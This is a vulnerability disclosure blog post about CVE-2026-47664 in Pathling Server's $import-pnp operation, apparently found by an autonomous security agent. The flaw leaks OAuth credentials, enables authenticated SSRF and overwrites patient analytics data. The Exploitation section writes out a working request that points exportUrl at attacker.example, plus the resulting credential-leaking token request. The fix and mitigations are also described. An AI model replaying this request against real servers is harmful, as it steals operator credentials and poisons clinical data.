Back to Blog

TrustLaunder: How a Healthcare FHIR Server Turned Attacker URLs Into Trusted Patient Data

TrustLaunder: How a Healthcare FHIR Server Turned Attacker URLs Into Trusted Patient Data
Identified by Apex, Cantina's autonomous AppSec agent.

Introduction

In Pathling Server versions 1.2.0 and earlier, the $import-pnp operation accepts a caller-controlled URL and uses it as the target for a credentialed FHIR bulk export, then re-imports the downloaded files into the analytical warehouse as trusted local data. The only prerequisite is an authenticated session.

Pathling Server ships two import operations. The ordinary $import enforces an allowableSources allowlist that exists, per Pathling's own documentation, "for security reasons." The convenience operation $import-pnp does not. After downloading files from the caller-supplied exportUrl, the executor constructs a synthetic allowlist of file://<tempDir>/ and hands the staged files back to the same ImportExecutor as if they came from a trusted local source. Cantina calls this pattern TrustLaunder: bypassing an allowlist by reclassifying data as local after fetching it from anywhere.

The blast radius is three layers deep. Pathling sends its operator-configured client_credentials to the attacker's token endpoint via HTTP Basic, leaking the OAuth client ID and secret (or privateKeyJwk assertion). It then issues bearer-authenticated requests to attacker infrastructure, an authenticated server-side request forgery from Pathling's network position. Finally, it imports attacker-controlled NDJSON into the warehouse as trusted patient and observation data, with saveMode defaulting to OVERWRITE so existing analytics can be silently replaced. Tracked as CVE-2026-47664, fixed in server-v2.0.0.

A note on healthcare security

This bug lives in a FHIR analytics server that processes patient records. Healthcare data outlasts the breach: a credit card can be reissued and a password can be rotated, but a diagnosis cannot be un-diagnosed.

The downstream views, cohort selections, and machine-learning pipelines that draw from the analytical warehouse all inherit whatever the warehouse contains. That is why TrustLaunder's blast radius is High, not Moderate. An attacker who lands attacker-controlled NDJSON in the warehouse owns every clinical-research output that machine-reads from that warehouse, until someone notices the resources are not authentic.

For the broader healthsec context that this finding sits inside, see After TrustLaunder: Apex's Other Four Pathling Findings. Four more Pathling bugs, same pattern.

The chain

Pathling is the Australian e-Health Research Centre's open-source FHIR analytics platform, built on Apache Spark and used by research institutions and health-tech companies for terminology-aware queries against patient records. Both of its import operations write through the same downstream ImportExecutor, but only $import validates the source URL against the configured allowlist.

POST /fhir/$import-pnp { exportUrl }
  → ImportPnpOperationValidator       // accepts exportUrl as-is, defaults saveMode=OVERWRITE
  → ImportPnpExecutor                 // acquires token, fetches export, downloads NDJSON
      • POST token request            → SMART-discovered token endpoint
      • POST $export                  → exportUrl
      • download NDJSON               → <tempDir>/
  → ImportExecutor                    // ingests with pnpAllowableSources=file://<tempDir>/

Four behaviors compose the chain. ImportPnpOperationValidator accepts any exportUrl. ImportPnpExecutor binds the operator's PNP credentials to the caller-supplied URL, and if the token endpoint is not pinned in configuration, performs SMART discovery against the same caller-supplied host (so the attacker's .well-known/smart-configuration document controls where the credentials are sent). After downloading files, the executor passes a synthetic pnpAllowableSources of file://<tempDir>/ to ImportExecutor. The shared ingestion code validates the staged paths against the synthetic value, finds a clean match, and writes the attacker's NDJSON into the warehouse. Resource type is derived from the attacker-controlled filename in the manifest.

Exploitation

A single authenticated $import-pnp request runs the chain end to end. The attacker sends:

POST /fhir/$import-pnp HTTP/1.1
Authorization: Bearer <attacker session token>

{ "resourceType": "Parameters", "parameter": [
    { "name": "exportUrl", "valueUrl": "https://attacker.example/fhir" }
]}

Pathling performs SMART discovery against attacker.example, follows the attacker-supplied token_endpoint, and transmits the operator's client ID and secret via HTTP Basic:

POST /token HTTP/1.1
Host: attacker.example
Authorization: Basic <Base64(clientId:clientSecret)>
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials&scope=system%2F*.read

With the attacker-issued bearer token, Pathling then runs $export, polls status, and downloads NDJSON from the attacker's host. The files are staged locally, ingested as trusted file:// inputs, and written to the warehouse with saveMode=OVERWRITE. The attacker reads Patient/attacker-patient and Observation/attacker-observation back through Pathling's normal FHIR API. A single authenticated request runs the chain to completion, leaking operator credentials, demonstrating an authenticated SSRF primitive, and poisoning the warehouse.

Fix and mitigation

Pathling server-v2.0.0, released 9 May 2026, closes the chain at the URL layer. Two changes carry the root-cause fix:

  • Mandatory URL allowlist. A new setting pathling.import.pnp.allowableExportUrls defaults to [], and an empty list now rejects every request. Operators must populate it explicitly for $import-pnp to work at all.
  • URI-aware matching. The previous String.startsWith comparison would have matched https://allowed.example.com.attacker.org against https://allowed.example.com. The new matcher compares scheme, host, port, and path-under semantics.

Defense-in-depth additions include plain-HTTP rejection by default (via a new pathling.allowInsecureUrls flag), IP-class SSRF closures, path-containment and symlink resolution on the staging path, per-resource authority checks across CRUD providers, and explicit principal verification in the $import-pnp auth interlock. The full v1.2.0...v2.0.0 compare view lists every change.

Pre-upgrade mitigation. Set pathling.operations.importPnpEnabled=false to disable the operation, or remove PNP credentials from configuration so the credential-leak link in the chain has nothing to leak.

The Pathling maintainer, John Grimes, shipped the fix 12 days before publishing the advisory and wrote release notes that name every change explicitly. Cantina recommends the advisory and release notes as a reference example for what transparent open-source disclosure looks like.

Takeaways

1. TrustLaunder is a reusable bypass pattern, not a single bug. Wherever a shared downstream component accepts a "this is already trusted" parameter from an upstream sibling, the upstream can launder untrusted data through it. Pathling's ImportExecutor accepts a pnpAllowableSources argument that overrides its configured allowlist. The PNP executor synthesizes that argument from a file:// path it just created. No line of code is subverted, every component does what its API says, but the composition launders untrusted data into trusted state. Audit your stack for the same pattern. Anywhere a function accepts a "use this allowlist instead of the configured one" parameter is a candidate.

2. Convenience operations inherit the API of their secure siblings, not the threat model. Pathling's $import enforced an allowlist documented as a security control. $import-pnp was built to do the same job through a different transport and inherited only the API, not the constraint. Whenever you ship a second path to a privileged operation, audit it against the threat model of the underlying operation, not just the surface API.

3. Operator credentials should not bind to caller-controlled endpoints, including via discovery. Pathling's PNP credentials existed to authenticate against an operator-chosen data provider. The executor presented them to whatever host appeared in exportUrl, and when the token endpoint was not pinned, it discovered it from OAuth metadata served by the caller-supplied host. SMART discovery is a credential-exfiltration primitive in that configuration. A request parameter is never an authentication destination, and "discovered from the request parameter" is not better.

About Apex

Apex, Cantina's autonomous AppSec agent, finds high-impact vulnerabilities in critical infrastructure that is not getting the attention it deserves. If you maintain a system that ingests data from external sources, especially in regulated industries, contact us.